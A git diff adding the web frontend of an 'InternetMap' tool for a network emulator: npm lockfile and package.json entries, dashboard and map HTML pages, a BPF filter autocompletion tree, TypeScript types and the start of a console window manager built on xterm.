"https://registry.npmjs.org/schema-utils/-/schema-utils-3.0.0.tgz", + "integrity": "sha512-6D82/xSzO094ajanoOSbe4YvXWMfn2A//8Y1+MUqFAJul5Bs+yn36xbK9OtNDcRVSBJ9jjeoXftM6CfztsjOAA==", + "requires": { + "@types/json-schema": "^7.0.6", + "ajv": "^6.12.5", + "ajv-keywords": "^3.5.2" + } + }, + "semver": { + "version": "7.3.4", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.4.tgz", + "integrity": "sha512-tCfb2WLjqFAtXn4KEdxIhalnRtoKFN7nAwj0B3ZXCbQloV2tq5eDbcTmT68JJD3nRJq24/XgxtQKFIpQdtvmVw==", + "dev": true, + "requires": { + "lru-cache": "^6.0.0" + } + }, + "serialize-javascript": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-5.0.1.tgz", + "integrity": "sha512-SaaNal9imEO737H2c05Og0/8LUXG7EnsZyMa8MzkmuHoELfT6txuj0cMqRj6zfPKnmQ1yasR4PCJc8x+M4JSPA==", + "dev": true, + "requires": { + "randombytes": "^2.1.0" + } + }, + "source-list-map": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/source-list-map/-/source-list-map-2.0.1.tgz", + "integrity": "sha512-qnQ7gVMxGNxsiL4lEuJwe/To8UnK7fAnmbGEEH8RpLouuKbeEm0lhbQVFIrNSuB+G7tVrAlVsZgETT5nljf+Iw==", + "dev": true + }, + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true + }, + "source-map-support": { + "version": "0.5.19", + "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.19.tgz", + "integrity": "sha512-Wonm7zOCIJzBGQdB+thsPar0kYuCIzYvxZwlBa87yi/Mdjv7Tip2cyVbLj5o0cFPN4EVkuTwb3GDDyUx2DGnGw==", + "dev": true, + "requires": { + "buffer-from": "^1.0.0", + "source-map": "^0.6.0" + } + }, + "string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "dev": true, + "requires": { + "safe-buffer": "~5.1.0" + } + }, + "style-loader": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/style-loader/-/style-loader-2.0.0.tgz", + "integrity": "sha512-Z0gYUJmzZ6ZdRUqpg1r8GsaFKypE+3xAzuFeMuoHgjc9KZv3wMyCRjQIWEbhoFSq7+7yoHXySDJyyWQaPajeiQ==", + "dev": true, + "requires": { + "loader-utils": "^2.0.0", + "schema-utils": "^3.0.0" + } + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "requires": { + "has-flag": "^4.0.0" + } + }, + "tapable": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/tapable/-/tapable-1.1.3.tgz", + "integrity": "sha512-4WK/bYZmj8xLr+HUCODHGF1ZFzsYffasLUgEiMBY4fgtltdO6B4WJtlSbPaDTLpYTcGVwM2qLnFTICEcNxs3kA==", + "dev": true + }, + "terser": { + "version": "5.5.1", + "resolved": "https://registry.npmjs.org/terser/-/terser-5.5.1.tgz", + "integrity": "sha512-6VGWZNVP2KTUcltUQJ25TtNjx/XgdDsBDKGt8nN0MpydU36LmbPPcMBd2kmtZNNGVVDLg44k7GKeHHj+4zPIBQ==", + "dev": true, + "requires": { + "commander": "^2.20.0", + "source-map": "~0.7.2", + "source-map-support": "~0.5.19" + }, + "dependencies": { + "source-map": { + "version": "0.7.3", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.7.3.tgz", + "integrity": "sha512-CkCj6giN3S+n9qrYiBTX5gystlENnRW5jZeNLHpe6aue+SrHcG5VYwujhW9s4dY31mEGsxBDrHR6oI69fTXsaQ==", + "dev": true + } + } + }, + "terser-webpack-plugin": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/terser-webpack-plugin/-/terser-webpack-plugin-5.1.1.tgz", + "integrity": "sha512-5XNNXZiR8YO6X6KhSGXfY0QrGrCRlSwAEjIIrlRQR4W8nP69TaJUlh3bkuac6zzgspiGPfKEHcY295MMVExl5Q==", + "dev": true, + "requires": { + "jest-worker": "^26.6.2", + "p-limit": "^3.1.0", + "schema-utils": "^3.0.0", + "serialize-javascript": "^5.0.1", + "source-map": "^0.6.1", + "terser": "^5.5.1" + } + }, + "timsort": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/timsort/-/timsort-0.3.0.tgz", + "integrity": "sha1-QFQRqOfmM5/mTbmiNN4R3DHgK9Q=" + }, + "to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "requires": { + "is-number": "^7.0.0" + } + }, + "ts-loader": { + "version": "8.0.14", + "resolved": "https://registry.npmjs.org/ts-loader/-/ts-loader-8.0.14.tgz", + "integrity": "sha512-Jt/hHlUnApOZjnSjTmZ+AbD5BGlQFx3f1D0nYuNKwz0JJnuDGHJas6az+FlWKwwRTu+26GXpv249A8UAnYUpqA==", + "dev": true, + "requires": { + "chalk": "^4.1.0", + "enhanced-resolve": "^4.0.0", + "loader-utils": "^2.0.0", + "micromatch": "^4.0.0", + "semver": "^7.3.4" + } + }, + "tslib": { + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz", + "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==", + "dev": true + }, + "typescript": { + "version": "4.1.3", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-4.1.3.tgz", + "integrity": "sha512-B3ZIOf1IKeH2ixgHhj6la6xdwR9QrLC5d1VKeCSY4tvkqhF2eqd9O7txNlS0PO3GrBAFIdr3L1ndNwteUbZLYg==", + "dev": true + }, + "uniq": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/uniq/-/uniq-1.0.1.tgz", + "integrity": "sha1-sxxa6CVIRKOoKBVBzisEuGWnNP8=", + "dev": true + }, + "uri-js": { + "version": "4.4.1", + "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz", + "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==", + "requires": { + "punycode": "^2.1.0" + } + }, + "util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=", + "dev": true + }, + "uuid": { + "version": "8.3.2", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", + "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==" + }, + "vis-data": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/vis-data/-/vis-data-7.1.2.tgz", + "integrity": "sha512-RPSegFxEcnp3HUEJSzhS2vBdbJ2PSsrYYuhRlpHp2frO/MfRtTYbIkkLZmPkA/Sg3pPfBlR235gcoKbtdm4mbw==" + }, + "vis-network": { + "version": "9.0.4", + "resolved": "https://registry.npmjs.org/vis-network/-/vis-network-9.0.4.tgz", + "integrity": "sha512-F/pq8yBJUuB9lNKXHhtn4GP2h91FV0c2O2nvfU34RX4VCYOlqs+mINdz+J+QkWiYhiPdlVy15gzVEzkhJ9hpaw==" + }, + "vis-util": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/vis-util/-/vis-util-5.0.2.tgz", + "integrity": "sha512-oPDmPc4o0uQLoKpKai2XD1DjrhYsA7MRz75Wx9KmfX84e9LLgsbno7jVL5tR0K9eNVQkD6jf0Ei8NtbBHDkF1A==" + }, + "watchpack": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-2.1.0.tgz", + "integrity": "sha512-UjgD1mqjkG99+3lgG36at4wPnUXNvis2v1utwTgQ43C22c4LD71LsYMExdWXh4HZ+RmW+B0t1Vrg2GpXAkTOQw==", + "dev": true, + "requires": { + "glob-to-regexp": "^0.4.1", + "graceful-fs": "^4.1.2" + } + }, + "webpack": { + "version": "5.14.0", + "resolved": "https://registry.npmjs.org/webpack/-/webpack-5.14.0.tgz", + "integrity": "sha512-PFtfqXIKT6EG+k4L7d9whUPacN2XvxlUMc8NAQvN+sF9G8xPQqrCDGDiXbAdyGNz+/OP6ioxnUKybBBZ1kp/2A==", + "dev": true, + "requires": { + "@types/eslint-scope": "^3.7.0", + "@types/estree": "^0.0.45", + "@webassemblyjs/ast": "1.11.0", + "@webassemblyjs/wasm-edit": "1.11.0", + "@webassemblyjs/wasm-parser": "1.11.0", + "acorn": "^8.0.4", + "browserslist": "^4.14.5", + "chrome-trace-event": "^1.0.2", + "enhanced-resolve": "^5.7.0", + "es-module-lexer": "^0.3.26", + "eslint-scope": "^5.1.1", + "events": "^3.2.0", + "glob-to-regexp": "^0.4.1", + "graceful-fs": "^4.2.4", + "json-parse-better-errors": "^1.0.2", + "loader-runner": "^4.2.0", + "mime-types": "^2.1.27", + "neo-async": "^2.6.2", + "pkg-dir": "^5.0.0", + "schema-utils": "^3.0.0", + "tapable": "^2.1.1", + "terser-webpack-plugin": "^5.1.1", + "watchpack": "^2.0.0", + "webpack-sources": "^2.1.1" + }, + "dependencies": { + "enhanced-resolve": { + "version": "5.7.0", + "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.7.0.tgz", + "integrity": "sha512-6njwt/NsZFUKhM6j9U8hzVyD4E4r0x7NQzhTCbcWOJ0IQjNSAoalWmb0AE51Wn+fwan5qVESWi7t2ToBxs9vrw==", + "dev": true, + "requires": { + "graceful-fs": "^4.2.4", + "tapable": "^2.2.0" + } + }, + "tapable": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/tapable/-/tapable-2.2.0.tgz", + "integrity": "sha512-FBk4IesMV1rBxX2tfiK8RAmogtWn53puLOQlvO8XuwlgxcYbP4mVPS9Ph4aeamSyyVjOl24aYWAuc8U5kCVwMw==", + "dev": true + } + } + }, + "webpack-sources": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-2.2.0.tgz", + "integrity": "sha512-bQsA24JLwcnWGArOKUxYKhX3Mz/nK1Xf6hxullKERyktjNMC4x8koOeaDNTA2fEJ09BdWLbM/iTW0ithREUP0w==", + "dev": true, + "requires": { + "source-list-map": "^2.0.1", + "source-map": "^0.6.1" + } + }, + "xterm": { + "version": "4.9.0", + "resolved": "https://registry.npmjs.org/xterm/-/xterm-4.9.0.tgz", + "integrity": "sha512-wGfqufmioctKr8VkbRuZbVDfjlXWGZZ1PWHy1yqqpGT3Nm6yaJx8lxDbSEBANtgaiVPTcKSp97sxOy5IlpqYfw==" + }, + "xterm-addon-attach": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/xterm-addon-attach/-/xterm-addon-attach-0.6.0.tgz", + "integrity": "sha512-Mo8r3HTjI/EZfczVCwRU6jh438B4WLXxdFO86OB7bx0jGhwh2GdF4ifx/rP+OB+Cb2vmLhhVIZ00/7x3YSP3dg==" + }, + "xterm-addon-fit": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/xterm-addon-fit/-/xterm-addon-fit-0.4.0.tgz", + "integrity": "sha512-p4BESuV/g2L6pZzFHpeNLLnep9mp/DkF3qrPglMiucSFtD8iJxtMufEoEJbN8LZwB4i+8PFpFvVuFrGOSpW05w==" + }, + "yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true + }, + "yocto-queue": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", + "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==", + "dev": true + } + } +} diff --git a/tools/InternetMap/frontend/package.json b/tools/InternetMap/frontend/package.json new file mode 100644 index 000000000..7509cf9f9 --- /dev/null +++ b/tools/InternetMap/frontend/package.json @@ -0,0 +1,47 @@ +{ + "name": "container-manager-client", + "version": "0.0.1", + "description": "container manager client side.", + "scripts": { + "test": "echo \"Error: no test specified\" && exit 1" + }, + "author": "nat ", + "license": "MIT", + "dependencies": { + "@egjs/hammerjs": "^2.0.17", + "@types/bootstrap": "^5.0.4", + "@types/datatables.net": "^1.10.19", + "@types/datatables.net-select": "^1.2.6", + "@types/hammerjs": "^2.0.36", + "@types/jquery": "^3.5.5", + "@types/jqueryui": "^1.12.14", + "bootstrap": "^4.5.3", + "bootstrap-icons": "^1.3.0", + "component-emitter": "^1.3.0", + "datatables.net": "^1.10.23", + "datatables.net-bs4": "^1.10.23", + "datatables.net-select": "^1.3.1", + "datatables.net-select-bs4": "^1.3.1", + "file-loader": "^6.2.0", + "hammerjs": "^2.0.8", + "jquery": "^3.5.1", + "jquery-ui": "^1.12.1", + "keycharm": "^0.4.0", + "popper.js": "^1.16.1", + "timsort": "^0.3.0", + "uuid": "^8.3.2", + "vis-data": "^7.1.2", + "vis-network": "^9.0.4", + "vis-util": "^5.0.2", + "xterm": "^4.9.0", + "xterm-addon-attach": "^0.6.0", + "xterm-addon-fit": "^0.4.0" + }, + "devDependencies": { + "css-loader": "^5.0.1", + "style-loader": "^2.0.0", + "ts-loader": "^8.0.14", + "typescript": "^4.1.3", + "webpack": "^5.14.0" + } +} diff --git a/tools/InternetMap/frontend/public/assets/dashboard.png b/tools/InternetMap/frontend/public/assets/dashboard.png new file mode 100644 index 000000000..c7c9e899d Binary files /dev/null and b/tools/InternetMap/frontend/public/assets/dashboard.png differ diff --git a/tools/InternetMap/frontend/public/assets/map.png b/tools/InternetMap/frontend/public/assets/map.png new file mode 100644 index 000000000..f9b892e51 Binary files /dev/null and b/tools/InternetMap/frontend/public/assets/map.png differ diff --git a/tools/InternetMap/frontend/public/assets/plugin.png b/tools/InternetMap/frontend/public/assets/plugin.png new file mode 100644 index 000000000..21065a82a Binary files /dev/null and b/tools/InternetMap/frontend/public/assets/plugin.png differ diff --git a/tools/InternetMap/frontend/public/console.html b/tools/InternetMap/frontend/public/console.html new file mode 100644 index 000000000..70bf4954f --- /dev/null +++ b/tools/InternetMap/frontend/public/console.html @@ -0,0 +1,19 @@ + + + + + console + + + + + +
          +
          +
          + + + + + + + + SEEDEMU Dashboard + + + +
          +
          +
          +

          Nodes

          + + + + + + + + + + + + + +
          ASNNameTypeIP Address(es)Actions
          +
          +
          +

          Networks

          + + + + + + + + + + + + + +
          ASN (scope)NameTypeNetwork PrefixActions
          +
          +
          +
          +
          + + + + + \ No newline at end of file diff --git a/tools/InternetMap/frontend/public/index.html b/tools/InternetMap/frontend/public/index.html new file mode 100644 index 000000000..3b350160e --- /dev/null +++ b/tools/InternetMap/frontend/public/index.html @@ -0,0 +1,69 @@ + + + + + SEEDEMU HOME + + + + +
          +
          +
          +

          INTERNET MAP

          +

          This is a work-in-progress prototype of the internet-map..

          +
          +
          + +
          + + + + \ No newline at end of file diff --git a/tools/InternetMap/frontend/public/map.html b/tools/InternetMap/frontend/public/map.html new file mode 100644 index 000000000..73b560d79 --- /dev/null +++ b/tools/InternetMap/frontend/public/map.html @@ -0,0 +1,105 @@ + + + + + map + + + + + + +
          +
          +
          +
          Filter
          +
          Search
          +
          + + +
          +
          +
          +
          +
          + +
          +
          +
          + +
          +
          + + +
          +
          +
          +
          +
          +
          +
          Replay
          +
          +
          +
          Replay stopped.
          +
          + + + + + +
          +
          + +
          +
          + + +
          +
          +
          +
          +
          +
          Details
          +
          +
          + No object selected. +
          +
          +
          +
          +
          + Log + +
          +
          +
          + + + + + + + + + + +
          TimeNodeLog
          +
          +
          + + + + + +
          +
          +
          +
          +
          +
          + + + + \ No newline at end of file diff --git a/tools/InternetMap/frontend/public/plugin.html b/tools/InternetMap/frontend/public/plugin.html new file mode 100644 index 000000000..8cd933cbd --- /dev/null +++ b/tools/InternetMap/frontend/public/plugin.html @@ -0,0 +1,115 @@ + + + + + SEEDEMU PLUGIN + + + + +
          +
          +

          Plugin

          + + + + + + + + + + +
          NameActions
          +
          +
          +

          Nodes

          + + + + + + + + + + + + + +
          ASNNameTypeIP Address(es)Actions
          +
          + +
          +
          +
          + + + + + \ No newline at end of file diff --git a/tools/InternetMap/frontend/src/common/bpf.ts b/tools/InternetMap/frontend/src/common/bpf.ts new file mode 100644 index 000000000..77bfcaab9 --- /dev/null +++ b/tools/InternetMap/frontend/src/common/bpf.ts @@ -0,0 +1,265 @@ +import { CompletionTree } from "./completion"; + +export let bpfCompletionTree: CompletionTree = { + type: 'root', + children: [ + { + type: 'keyword', + name: 'dst', + description: 'matching packet\'s destination.', + children: [ + { + type: 'value', + name: '', + description: 'matching packet\'s destination IP address.' + }, + { + type: 'keyword', + name: 'host', + description: 'matching packet\'s destination IP address.', + children: [ + { + type: 'value', + name: '', + description: 'matching packet\'s destination IP address.' + } + ] + }, + { + type: 'keyword', + name: 'net', + description: 'matching packet\'s destination network.', + children: [ + { + type: 'value', + name: '', + description: 'matching packet\'s destination network.' + } + ] + }, + { + type: 'keyword', + name: 'port', + description: 'matching packet\'s destination port.', + children: [ + { + type: 'value', + name: '', + description: 'matching packet\'s destination port.' + } + ] + }, + { + type: 'keyword', + name: 'portrange', + description: 'matching packet\'s destination port rage.', + children: [ + { + type: 'value', + name: '', + description: 'matching packet\'s destination port rage.' + } + ] + } + ] + }, + { + type: 'keyword', + name: 'src', + description: 'matching packet\'s source.', + children: [ + { + type: 'value', + name: '', + description: 'matching packet\'s source IP address.' + }, + { + type: 'keyword', + name: 'host', + description: 'matching packet\'s source IP address.', + children: [ + { + type: 'value', + name: '', + description: 'matching packet\'s source IP address.' + } + ] + }, + { + type: 'keyword', + name: 'net', + description: 'matching packet\'s source network.', + children: [ + { + type: 'value', + name: '', + description: 'matching packet\'s source network.' + } + ] + }, + { + type: 'keyword', + name: 'port', + description: 'matching packet\'s source port.', + children: [ + { + type: 'value', + name: '', + description: 'matching packet\'s source port.' + } + ] + }, + { + type: 'keyword', + name: 'portrange', + description: 'matching packet\'s source port range.', + children: [ + { + type: 'value', + name: '', + description: 'matching packet\'s source rage.' + } + ] + } + ] + }, + { + type: 'keyword', + name: 'host', + description: 'matching packets from or to the given IP address.', + children: [ + { + type: 'value', + name: '', + description: 'matching packets from or to the given IP address.' + } + ] + }, + { + type: 'keyword', + name: 'net', + description: 'matching packets from or to the given network.', + children: [ + { + type: 'value', + name: '', + description: 'matching packets from or to the given network.' + } + ] + }, + { + type: 'keyword', + name: 'port', + description: 'matching packets from or to the given port.', + children: [ + { + type: 'value', + name: '', + description: 'matching packets from or to the given port.' + } + ] + }, + { + type: 'keyword', + name: 'portrange', + description: 'matching packets from or to the given port range.', + children: [ + { + type: 'value', + name: '', + description: 'matching packets from or to the given port range.' + } + ] + }, + { + type: 'keyword', + name: 'ether', + description: 'matching packets with mac address.', + children: [ + { + type: 'keyword', + name: 'dst', + description: 'matching packets to the given mac address.', + children: [ + { + type: 'value', + name: '', + description: 'matching packets to the given mac address.' + } + ] + }, + { + type: 'keyword', + name: 'src', + description: 'matching packets from the given mac address.', + children: [ + { + type: 'value', + name: '', + description: 'matching packets from the given mac address.' + } + ] + }, + { + type: 'keyword', + name: 'host', + description: 'matching packets from or to the given mac address.', + children: [ + { + type: 'value', + name: '', + description: 'matching packets from or to the given mac address.' + } + ] + }, + { + type: 'keyword', + name: 'broadcast', + description: 'matching layer two broadcast packets.' + }, + { + type: 'keyword', + name: 'multicast', + description: 'matching layer two multicast packets.' + } + ] + }, + { + type: 'keyword', + name: 'ip', + description: 'matching IP packets.', + children: [ + { + type: 'keyword', + name: 'broadcast', + description: 'matching broadcast IP packets.' + }, + { + type: 'keyword', + name: 'multicast', + description: 'matching multicast IP packets.' + } + ] + }, + { + type: 'keyword', + name: 'arp', + description: 'matching ARP packets.' + }, + { + type: 'keyword', + name: 'tcp', + description: 'matching TCP packets.' + }, + { + type: 'keyword', + name: 'udp', + description: 'matching UDP packets.' + }, + { + type: 'keyword', + name: 'icmp', + description: 'matching ICMP packets.' + } + ] +}; \ No newline at end of file diff --git a/tools/InternetMap/frontend/src/common/completion.ts b/tools/InternetMap/frontend/src/common/completion.ts new file mode 100644 index 000000000..c0c2a731d --- /dev/null +++ b/tools/InternetMap/frontend/src/common/completion.ts @@ -0,0 +1,73 @@ +export interface CompletionTree { + type: 'root' | 'keyword' | 'value'; + + name?: string; + description?: string; + + children?: CompletionTree[]; +} + +export interface CompletionOption { + word: string; + partialword: string; + fulltext: string; + description: string; +} + +export class Completion { + private _tree: CompletionTree; + + constructor(tree: CompletionTree) { + this._tree = tree; + } + + getCompletion(input: string): CompletionOption[] { + let words = input.split(/\s+/); + let lastWord = words.pop() ?? ''; + + var pointer = this._tree; + var fulltext: string[] = []; + + words.forEach(word => { + fulltext.push(word); + + var nextPointer = this._tree; + + if (!pointer.children) { + fulltext = []; + pointer = this._tree; + return; + } + + pointer.children.forEach(child => { + if (child.type == 'value') { + nextPointer = child; + } + + if (child.type == 'keyword' && child.name === word) { + nextPointer = child; + } + }); + + if (nextPointer == this._tree) { + fulltext = []; + } + + pointer = nextPointer; + }); + + if (pointer.children) { + return pointer.children.filter(child => child.name.startsWith(lastWord)).map(child => { + return { + word: child.name, + partialword: child.name.slice(lastWord.length), + fulltext: `${fulltext.join(' ')} ${child.name}`, + description: child.description + }; + }); + } + + return []; + } +} + diff --git a/tools/InternetMap/frontend/src/common/configuration.ts b/tools/InternetMap/frontend/src/common/configuration.ts new file mode 100644 index 000000000..bf43d36c1 --- /dev/null +++ b/tools/InternetMap/frontend/src/common/configuration.ts @@ -0,0 +1,3 @@ +export let Configuration = { + ApiPath: '/api/v1' +}; \ No newline at end of file diff --git a/tools/InternetMap/frontend/src/common/console-event.ts b/tools/InternetMap/frontend/src/common/console-event.ts new file mode 100644 index 000000000..c4016b885 --- /dev/null +++ b/tools/InternetMap/frontend/src/common/console-event.ts @@ -0,0 +1,5 @@ +export interface ConsoleEvent{ + type: 'ready' | 'closed' | 'error' | 'focus' | 'blur' | 'data' | 'rawkey'; + id: string; + data?: any; +} \ No newline at end of file diff --git a/tools/InternetMap/frontend/src/common/css/window-manager.css b/tools/InternetMap/frontend/src/common/css/window-manager.css new file mode 100644 index 000000000..f6b405b6d --- /dev/null +++ b/tools/InternetMap/frontend/src/common/css/window-manager.css @@ -0,0 +1,144 @@ +.console-area { + z-index: 10000; + pointer-events: none; + position: absolute; + top: 0; + left: 0; +} + +.console-window { + pointer-events: all; + position: fixed !important; + width: 760px; + height: 460px; + border: 1px solid #333; +} + +.synthesizer { + height: 80px; +} + +.console-titlebar { + position: absolute; + height: 25px; + width: 100%; + background-color: #eee; + color: #888; + top: 0; +} + +.console-titlebar.active { + background-color: #ccc; + color: #333; +} + +.console-title, .console-actions { + line-height: 1em; + font-size: .9em; + margin-left: .4em; +} + +.console-title { + cursor: default; + -webkit-user-select: none; + -khtml-user-select: none; + -moz-user-select: -moz-none; + -o-user-select: none; + user-select: none; +} + +.console-action { + margin-right: .5em; + color: #777; + cursor: pointer; +} + +.console-action:hover { + color: #333; +} + +.console-actions { + border-right: 2px solid #ccc; +} + +.active .console-actions { + border-right: 2px solid #aaa; +} + +.hide { + display: none; +} + +.console { + position: absolute; + height: calc(100% - 25px); + width: 100%; + bottom: 0; + background-color: #1d1f21; + opacity: 95%; +} + +.dragging { + opacity: 90%; +} + +.mask { + opacity: 0%; +} + +.taskbar { + white-space: nowrap; + + background-color: #ccc; + border-top: 2px solid #eee; + position: fixed; + bottom: 0; + width: 100%; + height: 30px; + overflow-x: scroll; + overflow-y: hidden; + + scrollbar-width: none; + -ms-overflow-style: none; + padding-left: .1em; +} + +.taskbar::-webkit-scrollbar { + width: 0; + height: 0; +} + +button.taskbar-item { + display: inline-block; + + color: #000; + border-top: 1px solid #fff; + border-left: 1px solid #fff; + border-right: 1px solid gray; + border-bottom: 1px solid gray; + box-shadow: inset 1px 1px #dfdfdf, 1px 0 #000, 0 1px #000, 1px 1px #000; + background-color: silver; + height: 25px; + margin-right: .2em; +} + +button.taskbar-item .taskbar-item-text { + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; + color: #333; + font-size: .8em; + line-height: 24px; + display: inline-block; + + max-width: 150px; +} + +button.taskbar-item.active { + border-top: 1px solid #000; + border-left: 1px solid #000; + border-right: 1px solid #dfdfdf; + border-bottom: 1px solid #dfdfdf; + box-shadow: inset 1px 1px grey, 1px 0 #fff, 0 1px #fff, 1px 1px #fff; +} + diff --git a/tools/InternetMap/frontend/src/common/types.ts b/tools/InternetMap/frontend/src/common/types.ts new file mode 100644 index 000000000..79ddbd428 --- /dev/null +++ b/tools/InternetMap/frontend/src/common/types.ts @@ -0,0 +1,61 @@ +export interface EmulatorNode { + Id: string; + NetworkSettings: { + Networks: { + [name: string]: { + NetworkID: string, + MacAddress: string + } + } + }; + meta: { + emulatorInfo: { + nets: { + name: string, + address: string + }[], + asn: number, + name: string, + role: string, + custom?: string, + description?: string, + displayname?: string + }; + relation?: { + parent: Set, + }; + }; +} + +export interface EmulatorNetwork { + Id: string; + meta: { + emulatorInfo: { + type: string, + scope: string, + name: string, + prefix: string, + description?: string, + displayname?: string + }, + relation?: { + parent: Set, + }, + } +} + +export interface IPlugin { + id: string; + name: string; + version: string; + entryPoint: string; + description?: string; + activate?: () => void; + deactivate?: () => void; +} + +export interface BgpPeer { + name: string; + protocolState: string; + bgpState: string; +} \ No newline at end of file diff --git a/tools/InternetMap/frontend/src/common/window-manager.ts b/tools/InternetMap/frontend/src/common/window-manager.ts new file mode 100644 index 000000000..2e40f7e88 --- /dev/null +++ b/tools/InternetMap/frontend/src/common/window-manager.ts @@ -0,0 +1,735 @@ +import 'jquery-ui/themes/base/resizable.css'; +import 'bootstrap-icons/font/bootstrap-icons.css'; + +import $ from 'jquery'; + +import 'jquery-ui'; +import 'jquery-ui/ui/widgets/resizable'; + +import { ConsoleEvent } from './console-event'; + +// todo: windows, etc? +export type WindowManagerEvent = 'taskbarchanges'; + +/** + * Console window. + */ +export class Window { + private _id: string; + + /** current title. */ + private _title: string; + + /** current status text (e.g., disconnect/connecting) */ + private _statusText: string; + + /** the window element */ + private _element: HTMLDivElement; + + /** the title text element */ + private _titleElement: HTMLSpanElement; + + /** the body (console) */ + private _frameElement: HTMLIFrameElement; + + /** parent. */ + private _manager: WindowManager; + + /** + * the mask element: mouse events will not be sent when mouse is directly + * on the iframe; put a mask on the frame when dragging to capture mouse + * events. + */ + private _maskElement: HTMLDivElement; + + /** the title bar element */ + private _titleBarElement: HTMLDivElement; + + /** current x pos */ + private _x: number; + + /** current y pos */ + private _y: number; + + /** change in x when dragging */ + private _dx: number; + + /** change in y when dragging */ + private _dy: number; + + /** true if currently dragging */ + private _dragging: boolean; + + private _bondedMoveHandler: any; + private _bondedDownHandler: any; + private _bondedUpHandler: any; + + /** true if currently in input synth */ + private _inSynth: boolean; + + /** the button for toggling synth. */ + private _synthControlElement: Element; + + /** + * create window. + * + * @param manager parent. + * @param id window id. + * @param title window title. + * @param url window body url. + * @param top top offset. + * @param left left offset. + */ + constructor(manager: WindowManager, id: string, title: string, url: string, top: number, left: number) { + this._manager = manager; + this._dragging = false; + this._inSynth = false; + + var console = document.createElement('div'); + var titleBar = document.createElement('div'); + var titleText = document.createElement('span'); + var titleActions = document.createElement('span'); + var consoleMask = document.createElement('div'); + var consoleFrame = document.createElement('iframe'); + + consoleFrame.setAttribute('container-id', id); + + this._id = id; + this._title = title; + this._element = console; + this._frameElement = consoleFrame; + this._titleElement = titleText; + + this.setStatusText('(connecting...)'); + + titleText.className = 'console-title'; + titleText.innerText = title; + + titleBar.className = 'console-titlebar'; + + var iClose = document.createElement('i'); + iClose.className = 'bi bi-x-circle console-action'; + iClose.onclick = this.close.bind(this); + iClose.title = 'Close'; + + var iMin = document.createElement('i'); + iMin.className = 'bi bi-box-arrow-in-down-left console-action'; + iMin.onclick = this.minimize.bind(this); + iMin.title = 'Minimize' + + var iMax = document.createElement('i'); + iMax.className = 'bi bi-box-arrow-up-right console-action'; + iMax.onclick = this.popOut.bind(this); + iMax.title = 'Open in new window'; + + var iReload = document.createElement('i'); + iReload.className = 'bi bi-bootstrap-reboot console-action'; + iReload.onclick = this.reload.bind(this); + iReload.title = 'Reload terminal'; + + var iSynth = document.createElement('i'); + 